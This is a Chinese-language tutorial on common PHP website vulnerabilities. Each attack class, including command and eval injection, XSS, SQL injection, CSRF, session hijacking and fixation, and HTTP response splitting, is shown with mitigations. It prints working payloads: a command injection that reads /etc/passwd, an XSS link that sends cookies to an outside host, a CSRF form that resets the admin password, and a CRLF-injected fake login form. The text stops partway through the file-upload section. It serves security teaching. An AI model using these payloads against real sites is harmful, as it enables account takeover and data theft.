歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux管理 >> Linux安全

PHP漏洞全解

   本文主要介紹針對PHP網站常見的攻擊方式,包括常見的sql注入,跨站等攻擊類型。同時介紹了PHP的幾個重要參數設置。後面的系列文章將站在攻擊者的角度,為你揭開PHP安全問題,同時提供相應應對方案。

一. PHP網站的安全性問題

針對PHP的網站主要存在下面幾種攻擊方式:
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、客戶端腳本攻擊(Script Insertion)
4、跨網站腳本攻擊(Cross Site Scripting, XSS)
5、SQL注入攻擊(SQL injection)
6、跨網站請求偽造攻擊(Cross Site Request Forgeries, CSRF)
7、Session 會話劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應拆分攻擊(HTTP Response Splitting)
10、文件上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠程文件包含攻擊(Remote Inclusion)
13、動態函數注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)

幾個重要的php.ini選項:

RegisterGlobals
php>=4.2.0,php.ini的register_globals選項的默認值預設為Off,當register_globals的設定為On時,程序可以接收來自服務器的各種環境變量,包括表單提交的變量,而且由於PHP不必事先初始化變量的值,從而導致很大的安全隱患。

例1:
//check_admin()用於檢查當前用戶權限,如果是admin設置$is_admin變量為true,然後下面判斷此變量是否為true,然後執行管理的一些操作。

//ex1.php 

if(check_admin()) 
{ 
$is_admin=true; 
} 
if($is_admin) 
{ 
do_something(); 
} 
?> 
這一段代碼沒有將$is_admin事先初始化為Flase,如果register_globals為On,那麼我們直接提交http://www.sectop.com/ex1.php?is_admin=true,就可以繞過check_admin()的驗證:
例2:
//ex2.php

if(isset($_SESSION["username"])) 
{ 
do_something(); 
} 
else 
{ 
echo"您尚未登錄!"; 
} 
?>
當register_globals=On時,我們提交http://www.sectop.com/ex2.php?_SESSION[username]=dodo,就具有了此用戶的權限所以不管register_globals為什麼,我們都要記住,對於任何傳輸的數據要經過仔細驗證,變量要初始化。
safe_mode  安全模式,PHP用來限制文檔的存取、限制環境變量的存取,控制外部程序的執行。啟用安全模式必須設置php.ini中的safe_mode=On

1、限制文件存取
safe_mode_include_dir="/path1:/path2:/path3"    不同的文件夾用冒號隔開
2、限制環境變量的存取
safe_mode_allowed_env_vars=string    指定PHP程序可以改變的環境變量的前綴,如:safe_mode_allowed_env_vars=PHP_ ,當這個選項的值為空時,那麼php可以改變任何環境變量
safe_mode_protected_env_vars=string    用來指定php程序不可改變的環境變量的前綴。
3、限制外部程序的執行
safe_mode_exec_dir=string    此選項指定的文件夾路徑影響system、exec、popen、passthru,不影響shell_exec和“``”。
disable_functions=string    不同的函數名稱用逗號隔開,此選項不受安全模式影響。
magicquotes    用來讓php程序的輸入信息自動轉義,所有的單引號(“'”),雙引號(“"”),反斜槓(“\”)和空字符(NULL),都自動被加上反斜槓進行 轉義magic_quotes_gpc=On用來設置magicquotes為On,它會影響HTTP請求的數據(GET、POST、Cookies)程 序員也可以使用addslashes來轉義提交的HTTP 請求數據,或者用stripslashes 來刪除轉義。
 

二. 命令注入攻擊

PHP中可以使用下列5個函數來執行外部的應用程序或函數
system、exec、passthru、shell_exec、“(與shell_exec功能相同)

函數原型

string system(string command, int &return_var)
    command 要執行的命令
    return_var 存放執行命令的執行後的狀態值

string exec (string command, array &output, int &return_var)
    command 要執行的命令
    output 獲得執行命令輸出的每一行字符串
    return_var 存放執行命令後的狀態值

void passthru (string command, int &return_var)
    command 要執行的命令
    return_var 存放執行命令後的狀態值
    string shell_exec (string command)
    command 要執行的命令

漏洞實例
例1:

//ex1.php 

$dir = $_GET["dir"]; 
if (isset($dir)) 
{
 echo " "; 
system("ls -al ".$dir); 
echo " ";
} 
?>
我們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以後,命令變成了 system("ls -al | cat /etc/passwd");

eval注入攻擊
eval函數將輸入的字符串參數當作PHP程序代碼來執行
函數原型:
mixed eval(string code_str) //eval注入一般發生在攻擊者能控制輸入的字符串的時候
 

//ex2.php 
$var = "var"; 
if (isset($_GET["arg"])) 
{ 
$arg = $_GET["arg"]; 
eval("\$var = $arg;"); 
echo "\$var =".$var; 
} 
?> 
當我們提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了;
動態函數
php 
func A() 
{ 
dosomething(); 
} 
func B() 
{ 
dosomething(); 
} 
if (isset($_GET["func"])) 
{ 
$myfunc = $_GET["func"]; 
echo $myfunc(); 
} 
?> 
程序員原意是想動態調用A和B函數,那我們提交http://www.sectop.com/ex.php?func=phpinfo漏洞產生

防范方法

1、盡量不要執行外部命令
2、使用自定義函數或函數庫來替代外部命令的功能
3、使用escapeshellarg函數來處理命令參數
4、使用safe_mode_exec_dir指定可執行文件的路徑
esacpeshellarg函數會將任何引起參數或命令結束的字符轉義,單引號“’”,替換成“\’”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”
用safe_mode_exec_dir指定可執行文件的路徑,可以把會使用的命令提前放入此路徑內
safe_mode = On
safe_mode_exec_dir = /usr/local/php/bin/
 

三. 客戶端腳本植入

客戶端腳本植入(Script Insertion),是指將可以執行的腳本插入到表單、圖片、動畫或超鏈接文字等對象內。當用戶打開這些對象後,攻擊者所植入的腳本就會被執行,進而開始攻擊。
可以被用作腳本植入的HTML標簽一般包括以下幾種:
1、標簽標記的javascript和vbscript等頁面腳本程序。在標簽內可以指定js程序代碼,也可以在src屬性內指定js文件的URL路徑
2、標簽標記的對象。這些對象是java applet、多媒體文件和ActiveX控件等。通常在data屬性內指定對象的URL路徑
3、標簽標記的對象。這些對象是多媒體文件,例如:swf文件。通常在src屬性內指定對象的URL路徑
4、標簽標記的對象。這些對象是java applet,通常在codebase屬性內指定對象的URL路徑
5、標簽標記的對象。通常在action屬性內指定要處理表單數據的web應用程序的URL路徑

客戶端腳本植入的攻擊步驟

1、攻擊者注冊普通用戶後登陸網站
2、打開留言頁面,插入攻擊的js代碼
3、其他用戶登錄網站(包括管理員),浏覽此留言的內容
4、隱藏在留言內容中的js代碼被執行,攻擊成功

實例

數據庫

  1. CREATE TABLE `postmessage` ( 
  2. `id` int(11) NOT NULL auto_increment, 
  3. `subject` varchar(60) NOT NULL default ”, 
  4. `name` varchar(40) NOT NULL default ”, 
  5. `email` varchar(25) NOT NULL default ”, 
  6. `question` mediumtext NOT NULL, 
  7. `postdate` datetime NOT NULL default ’0000-00-00 00:00:00′, 
  8. PRIMARY KEY (`id`) 
  9. ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’使用者的留言’ AUTO_INCREMENT=69 ; 
  10. //add.php 插入留言 
  11. //list.php 留言列表 
  12. //show.php 顯示留言


提交下圖的留言

浏覽此留言的時候會執行js腳本
插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
或者使用其他自行構造的js代碼進行攻擊

防范的方法
一般使用htmlspecialchars函數來將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。 ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然後再查看插入js的漏洞頁面


四. xss跨站腳本攻擊

XSS(Cross Site Scripting),意為跨網站腳本攻擊,為了和樣式表css(Cascading Style Sheet)區別,縮寫為XSS
跨站腳本主要被攻擊者利用來讀取網站用戶的cookies或者其他個人數據,一旦攻擊者得到這些數據,那麼他就可以偽裝成此用戶來登錄網站,獲得此用戶的權限。
跨站腳本攻擊的一般步驟:
1、攻擊者以某種方式發送xss的http鏈接給目標用戶
2、目標用戶登錄此網站,在登陸期間打開了攻擊者發送的xss鏈接
3、網站執行了此xss攻擊腳本
4、目標用戶頁面跳轉到攻擊者的網站,攻擊者取得了目標用戶的信息
5、攻擊者使用目標用戶的信息登錄網站,完成攻擊

當有存在跨站漏洞的程序出現的時候,攻擊者可以構造類似 http://www.sectop.com/search.php?key=<script>document.location=’http://www.hack.com/getcookie.php?cookie=’+document.cookie;</script> ,誘騙用戶點擊後,可以獲取用戶cookies值
防范方法:
利用htmlspecialchars函數將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
        string 是要編碼的字符串
        quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。 ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
        charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> > $_SERVER["PHP_SELF"]變量的跨站
在某個表單中,如果提交參數給自己,會用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變量的值為當前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那麼我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那麼表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進去了
防御方法還是使用htmlspecialchars過濾輸出的變量,或者提交給自身文件的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站

五. SQL注入攻擊

        SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的sql語句,改動原來的sql語句,如果web程序沒有對提交的數據經過檢查,那麼就會造成sql注入攻擊。
SQL注入攻擊的一般步驟:
  1、攻擊者訪問有SQL注入漏洞的站點,尋找注入點
  2、攻擊者構造注入語句,注入語句和程序中的SQL語句結合生成新的sql語句
  3、新的sql語句被提交到數據庫中執行 處理
  4、數據庫執行了新的SQL語句,引發SQL注入攻擊

實例

  數據庫
  CREATE TABLE `postmessage` (
  `id` int(11) NOT NULL auto_increment,
  `subject` varchar(60) NOT NULL default ”,
  `name` varchar(40) NOT NULL default ”,
  `email` varchar(25) NOT NULL default ”,
  `question` mediumtext NOT NULL,
  `postdate` datetime NOT NULL default ’0000-00-00 00:00:00′,
  PRIMARY KEY  (`id`)
  ) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=’運用者的留言’ AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to ‘sectop’@localhost identified by ’123456′;
  //add.php 插入留言
  //list.php 留言列表
  //show.php 顯示留言
  頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點,我們來測試
  http://www.netsos.com.cn/show.php?id=71 and 1=1
  返回頁面

提交

一次查詢到記錄,一次沒有,我們來看看源碼

  //show.php 12-15行

  // 執行mysql查詢語句

  $query = "select * from postmessage where id = ".$_GET["id"];

  $result = mysql_query($query)

  or die("執行ySQL查詢語句失敗:" . mysql_error());

  參數id傳遞進來後,和前面的字符串結合的sql語句放入數據庫執行 查詢

  提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都為真,and以後也為真,返回查詢到的數據

  提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,後值為假,and以後為假,查詢不到任何數據

  正常的SQL查詢,經過我們構造的語句之後,形成了SQL注入攻擊。通過這個注入點,我們還可以進一步拿到權限,比如說運用 union讀取管理密碼,讀取數據庫信息,或者用mysql的load_file,into outfile等函數進一步滲透。

防范方法

  整型參數:

  運用 intval函數將數據轉換成整數

  函數原型

  int intval(mixed var, int base)
          var是要轉換成整形的變量
          base,可選,是基礎數,默認是10

  浮點型參數:
  運用 floatval或doubleval函數分別轉換單精度和雙精度浮點型參數

  函數原型
  int floatval(mixed var)
          var是要轉換的變量
     int doubleval(mixed var)
          var是要轉換的變量

  字符型參數:

  運用 addslashes函數來將單引號“’”轉換成“\’”,雙引號“"”轉換成“\"”,反斜槓“\”轉換成“\\”,NULL字符加上反斜槓“\”
  函數原型
  string addslashes (string str)
        str是要檢查的字符串
  那麼剛才出現的代碼漏洞,我們可以這樣修補
  // 執行mysql查詢語句
  $query = "select * from postmessage where id = ".intval($_GET["id"]);
  $result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());

  如果是字符型,先判斷magic_quotes_gpc能無法 為On,當不為On的時候運用 addslashes轉義特殊字符
  if(get_magic_quotes_gpc())
  {
  $var = $_GET["var"];
  }
  else
  {
  $var = addslashes($_GET["var"]);
  }
  再次測試,漏洞已經修補

 

六. 跨網站請求偽造

    CSRF(Cross Site Request Forgeries),意為跨網站請求偽造,也有寫為XSRF。攻擊者偽造目標用戶的HTTP請求,然後此請求發送到有CSRF漏洞的網站,網站執行此請求後,引發跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標用戶在不注意的情況下單擊這個鏈接,由於是用戶自己點擊的,而他又是合法用戶擁有合法權限,所以目標用戶能夠在網站內執行特定的HTTP鏈接,從而達到攻擊者的目的。
    例如:某個購物網站購買商品時,采用http://www.shop.com/buy.php?item=watch&num=1,item參數確定要購買什麼物品,num參數確定要購買數量,如果攻擊者以隱藏的方式發送給目標用戶鏈接<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那麼如果目標用戶不小心訪問以後,購買的數量就成了1000個

實例
隨緣網絡PHP留言板V1.0

任意刪除留言
//delbook.php 此頁面用於刪除留言
<?php
include_once("dlyz.php");    //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘刪除成功!’);";
echo " location=’book.php’;";
echo "</script>";
?>
當我們具有admin權限,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id為2的留言
利用方法:
我們使用普通用戶留言(源代碼方式),內容為
<img src="delbook.php?id=2" />

<img src="delbook.php?id=3" />

<img src="delbook.php?id=4" />

<img src="delbook.php?id=5" />
插入4張圖片鏈接分別刪除4個id留言,然後我們返回首頁浏覽看,沒有什麼變化。。圖片顯示不了
現在我們再用管理員賬號登陸後,來刷新首頁,會發現留言就剩一條,其他在圖片鏈接中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時候,是不具有權限的,所以看不到任何效果,但是當管理員登陸後,查看此留言,就會執行隱藏的鏈接,而他的權限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計制作:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
else
{
$sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修改成功!’);";
echo " location=’pass.php’;";
echo "</script>";
}
這個文件用於修改管理密碼和網站設置的一些信息,我們可以直接構造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text"  name="title"  value="隨緣網絡PHP留言板V1.0(帶審核功能)" >
<textarea  name="gg"  rows="6" cols="80" >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審核功能)!</textarea>
<textarea  name="copyright"  rows="6" cols="80" >隨緣網絡PHP留言本V1.0  版權所有:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定制 提供優惠主機域名</textarea>
</form>
</body>
存為attack.html,放到自己網站上http://www.sectop.com/attack.html,此頁面訪問後會自動向目標程序的pass.php提交參數,用戶名修改為root,密碼修改為root,然後我們去留言板發一條留言,隱藏這個鏈接,管理訪問以後,他的用戶名和密碼全部修改成了root

防范方法
防范CSRF要比防范其他攻擊更加困難,因為CSRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標用戶發出的,一般常見的防范方法有下面幾種:
1、檢查網頁的來源
2、檢查內置的隱藏變量
3、使用POST,不要使用GET
檢查網頁來源
在//pass.php頭部加入以下紅色字體代碼,驗證數據提交

if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
        $serverhost = $_SERVER["SERVER_NAME"];
        $strurl   = str_replace("http://","",$_SERVER["HTTP_REFERER"]);  
        $strdomain = explode("/",$strurl);           
        $sourcehost    = $strdomain[0];              
        if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
        {
                unset($_POST);
                echo "<script language=’javascript’>";
                echo "alert(‘數據來源異常!’);";
      &
nbsp;         echo " location=’index.php’;";
                echo "</script>";
        }
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計制作:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
else
{
$sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修改成功!’);";
echo " location=’pass.php’;";
echo "</script>";
}
檢查內置隱藏變量
我們在表單中內置一個隱藏變量和一個session變量,然後檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
         // 生成唯一的ID,並使用MD5來加密
         $post_id = md5(uniqid(rand(), true));
         // 創建Session變量
         $_SESSION["post_id"] = $post_id;
}
// 檢查是否相等
if (isset($_SESSION["post_id"]))
{
         // 不相等
         if ($_SESSION["post_id"] != $_POST["post_id"])
         {
                  // 清除POST變量
                  unset($_POST);
                  echo "<script language=’javascript’>";
                  echo "alert(‘數據來源異常!’);";
                  echo " location=’index.php’;";         
                  echo "</script>";
         }
}

……

    <input type="reset" name="Submit2" value="重  置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
  </table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用POST,不要使用GET
傳遞表單字段時,一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST

7. Session劫持

    服務端和客戶端之間是通過session(會話)來連接溝通。當客戶端的浏覽器連接到服務器後,服務器就會建立一個該用戶的session。每個用 戶的session都是獨立的,並且由服務器來維護。每個用戶的session是由一個獨特的字符串來識別,成為session id。用戶發出請求時,所發送的http表頭內包含session id 的值。服務器使用http表頭內的session id來識別時哪個用戶提交的請求。
    session保存的是每個用戶的個人數據,一般的web應用程序會使用session來保存通過驗證的用戶賬號和密碼。在轉換不同的網頁時,如果需要驗 證用戶身份,就是用session內所保存的賬號和密碼來比較。session的生命周期從用戶連上服務器後開始,在用戶關掉浏覽器或是注銷時用戶 session_destroy函數刪除session數據時結束。如果用戶在20分鐘內沒有使用計算機的動作,session也會自動結束。
php處理session的應用架構

會話劫持

會話劫持是指攻擊者利用各種手段來獲取目標用戶的session id。一旦獲取到session id,那麼攻擊者可以利用目標用戶的身份來登錄網站,獲取目標用戶的操作權限。
攻擊者獲取目標用戶session id的方法:
1)暴力破解:嘗試各種session id,直到破解為止。
2)計算:如果session id使用非隨機的方式產生,那麼就有可能計算出來
3)竊取:使用網絡截獲,xss攻擊等方法獲得
會話劫持的攻擊步驟

實例

//login.php

<?php
session_start();
if (isset($_POST["login"]))
{
 $link = mysql_connect("localhost", "root", "root")
     or die("無法建立MySQL數據庫連接:" . mysql_error());
 mysql_select_db("cms") or die("無法選擇MySQL數據庫");

 if  (!get_magic_quotes_gpc())
 {
     $query = "select * from member where username=’" . addslashes($_POST["username"]) .
  "’ and password=’" . addslashes($_POST["password"]) . "’";
 }
 else
  {
     $query = "select * from member where username=’" . $_POST["username"] .
  "’ and password=’" . $_POST["password"] . "’";
 }

 $result = mysql_query($query)
  or die("執行MySQL查詢語句失敗:" . mysql_error());
 $match_count = mysql_num_rows($result);
 if ($match_count)
 {
  $_SESSION["username"] = $_POST["username"];
  $_SESSION["password"] = $_POST["password"];
  $_SESSION["book"] = 1;
  mysql_free_result($result);
  mysql_close($link);   
  header("Location: http://localhost/index.php?user=" .
   $_POST["username"]);
 }

…..

//index.php

<?php
// 打開Session
session_start();

<p>
  訪客的 Session ID 是:<?php echo session_id(); ?>
</p>
<p>
  訪客:<?php echo htmlspecialchars($_GET["user"], ENT_QUOTES); ?>
</p>
<p>
  book商品的數量:<?php echo htmlspecialchars($_SESSION["book"], ENT_QUOTES); ?>
如果登錄成功,使用
$_SESSION["username"] 保存賬號
$_SESSION["password"] 保存密碼
#_SESSION["book"] 保存購買商品數目

登錄以後顯示

開始攻擊

//attack.php

<?php
// 打開Session
session_start();

echo "目標用戶的Session ID是:" . session_id() . "<br />";
echo "目標用戶的username是:" . $_SESSION["username"] . "<br />";
echo "目標用戶的password是:" . $_SESSION["password"] . "<br />";

// 將book的數量設置為2000
$_SESSION["book"] = 2000;
?>
提交 http://localhost/attack.php?PHPSESSID=5a6kqe7cufhstuhcmhgr9nsg45 此ID為獲取到的客戶session id,刷新客戶頁面以後

客戶購買的商品變成了2000

session固定攻擊
黑客可以使用把session id發給用戶的方式,來完成攻擊
http://localhost/index.php?user=dodo&PHPSESSID=1234 把此鏈接發送給dodo這個用戶顯示

然後攻擊者再訪問 http://localhost/attack.php?PHPSESSID=1234 後,客戶頁面刷新,發現

商品數量已經成了2000

防范方法:

1)定期更改session id

函數 bool session_regenerate_id([bool delete_old_session])

        delete_old_session為true,則刪除舊的session文件;為false,則保留舊的session,默認false,可選

在index.php開頭加上

<?php

session_start();

session_regenerate_id(TRUE);

……

這樣每次從新加載都會產生一個新的session id

2)更改session的名稱

session的默認名稱是PHPSESSID,此變量會保存在cookie中,如果黑客不抓包分析,就不能猜到這個名稱,阻擋部分攻擊

<?php

session_start();

session_name("mysessionid");

……

3)關閉透明化session id

透明化session id指當浏覽器中的http請求沒有使用cookies來制定session id時,sessioin id使用鏈接來傳遞;打開php.ini,編輯

session.use_trans_sid = 0

代碼中

<?php

int_set("session.use_trans_sid", 0);

session_start();

……

4)只從cookie檢查session id

session.use_cookies = 1 表示使用cookies存放session id

session.use_only_cookies = 1 表示只使用cookies存放session id,這可以避免session固定攻擊

代碼中

int_set("session.use_cookies", 1);

int_set("session.use_only_cookies", 1); p>

5)使用URL傳遞隱藏參數

<?php

session_start();

$seid = md5(uniqid(rand()), TRUE));

$_SESSION["seid"] = $seid;

攻擊者雖然能獲取session數據,但是無法得知$seid的值,只要檢查seid的值,就可以確認當前頁面是否是web程序自己調用的。
 

八. HTTP響應拆分

HTTP請求的格式
1)請求信息:例如“Get /index.php HTTP/1.1”,請求index.php文件
2)表頭:例如“Host: localhost”,表示服務器地址
3)空白行
4)信息正文
“請求信息”和“表頭”都必須使用換行字符(CRLF)來結尾,空白行只能包含換行符,不可以有其他空格符。
下面例子發送HTTP請求給服務器www.yhsafe.com
GET /index.php HTTP/1.1↙        //請求信息   
Host:www.yhsafe.com↙      //表頭
↙                                                     //空格行 ↙     ↙符號表示回車鍵,在空白行之後還要在按一個空格才會發送HTTP請求,HTTP請求的表頭中只有Host表頭是必要的餓,其余的HTTP表頭則是根據HTTP請求的內容而定。   HTTP請求的方法 1)GET:請求響應 2)HEAD:與GET相同的響應,只要求響應表頭 3)POST:發送數據給服務器處理,數據包含在HTTP信息正文中 4)PUT:上傳文件 5)DELETE:刪除文件 6)TRACE:追蹤收到的請求 7)OPTIONS:返回服務器所支持的HTTP請求的方法 8)CONNECT:將HTTP請求的連接轉換成透明的TCP/IP通道   HTTP響應的格式 服務器在處理完客戶端所提出的HTTP請求後,會發送下列響應。 1)第一行是狀態碼 2)第二行開始是其他信息 狀態碼包含一個標識狀態的數字和一個描述狀態的單詞。例如: HTTP/1.1 200 OK 200是標識狀態的是數字,OK則是描述狀態的單詞,這個狀態碼標識請求成功。 HTTP請求和響應的例子
打開cmd輸入telnet,輸入open www.00aq.com 80
打開連接後輸入
GET /index.php HTTP/1.1↙      
Host:www.00aq.com↙     
↙                                                ↙

返回HTTP響應的表頭

返回的首頁內容

使用PHP來發送HTTP請求

header函數可以用來發送HTTP請求和響應的表頭

函數原型

void header(string string [, bool replace [, int http_response_code]])

        string是HTTP表頭的字符串

        如果replace為TRUE,表示要用目前的表頭替換之前相似的表頭;如果replace為FALSE,表示要使用多個相似的表頭,默認值為TRUE

        http_response_code用來強制HTTP響應碼使用http_response_code的值

實例:

<?php
// 打開Internet socket連接
$fp = fsockopen(www.00aq.com, 80);

// 寫入HTTP請求表頭
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.00aq.com\r\n\r\n");

// HTTP響應的字符串
$http_response = "";

while (!feof($fp))
{
        // 讀取256位的HTTP響應字符串
        $http_response .= fgets($fp, );
}

// 關閉Internet socket連接
fclose($fp);
// 顯示HTTP響應信息
echo nl2br(htmlentities($http_response));
?>

HTTP響應拆分攻擊

HTTP響應拆分是由於攻擊者經過精心設計利用電子郵件或者鏈接,讓目標用戶利用一個請求產生兩個響應,前一個響應是服務器的響應,而後一個則是攻 擊者設計的響應。此攻擊之所以會發生,是因為WEB程序將使用者的數據置於HTTP響應表頭中,這些使用者的數據是有攻擊者精心設計的。

可能遭受HTTP請求響應拆分的函數包括以下幾個:

header();        setcookie();        session_id();        setrawcookie();

HTTP響應拆分通常發生在:

Location表頭:將使用者的數據寫入重定向的URL地址內

Set-Cookie表頭:將使用者的數據寫入cookies內

實例:

<?php
    header("Location: " . $_GET['page']);
?>

請求

GET /location.php?page=http://www.00aq.com HTTP/1.1↙
Host: localhost↙

返回

HTTP/1.1 302 Found
Date: Wed, 13 Jan 2010 03:44:24 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: http://www.00aq.com
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

訪問下面的鏈接,會直接出現一個登陸窗口

http://localhost/location.php?page=%0d%0aContent-Type:%20text/html%0d %0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent- Length:%20158%0d%0a%0d %0a<html><body><form%20method=post%20name=form1>帳號%20& lt;input%20type=text%20name=username%20/><br%20/>密碼%20< input%20name=password%20type=password%20/><br%20/>< input%20type=submit%20name=login%20value=登錄%20/></form>< /body></html>

轉換成可讀字符串為:

Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 158

<html><body><form method=post name=form1>帳號 <input type=text name=username /><br />密碼 <input name=password type=password /><br /><input type=submit name=login value=登錄 /></form></body></html>

一個HTTP請求產生了兩個響應

防范的方法:

1)替換CRLF換行字符

<?php
    header("Location: " . strtr($_GET['page'], array("\r"=>"", "\n"=>"")));
?>

2)使用最新版本的PHP
PHP最新版中,已經不允許在HTTP表頭內出現換行字符

隱藏HTTP響應表頭
apache中httpd.conf,選項ServerTokens = Prod, ServerSignature = Off
php中php.ini,選項expose_php = Off
 

九. 文件上傳漏洞

一套web應用程序,一般都會提供文件上傳的功能,方便來訪者上傳一些文件。

下面是一個簡單的文件上傳表單

<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
  <input type="file" name="file1" /><br />
  <input type="submit" value="上傳文件" />
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

php的配置文件php.ini,其中選項upload_max_filesize指定允許上傳的文件大小,默認是2M

$_FILES數組變量

PHP使用變量$_FILES來上傳文件,$_FILES是一個數組。如果上傳test.txt,那麼$_FILES數組的內容為:

$FILES

Array

{

        [file] => Array

        {

                [name] => test.txt                //文件名稱

                [type] => text/plain                //MIME類型

                [tmp_name] => /tmp/php5D.tmp        //臨時文件

                [error] => 0                //錯誤信息

                [size] => 536                //文件大小,單位字節

        }

}

如果上傳文件按鈕的name屬性值為file

<input type="file" name="file" />

那麼使用$_FILES['file']['name']來獲得客戶端上傳文件名稱,不包含路徑。使用$_FILES['file']['tmp_name']來獲得服務端保存上傳文件的臨時文件路徑

存放上傳文件的文件夾

PHP不會直接將上傳文件放到網站根目錄中,而是保存為一個臨時文件,名稱就是$_FILES['file']['tmp_name']的值,開發者必須把這個臨時文件復制到存放的網站文件夾中。

$_FILES['file']['tmp_name']的值是由PHP設置的,與文件原始名稱不一樣,開發者必須使用$_FILES['file']['name']來取得上傳文件的原始名稱。

上傳文件時的錯誤信息

$_FILES['file']['error']變量用來保存上傳文件時的錯誤信息,它的值如下:

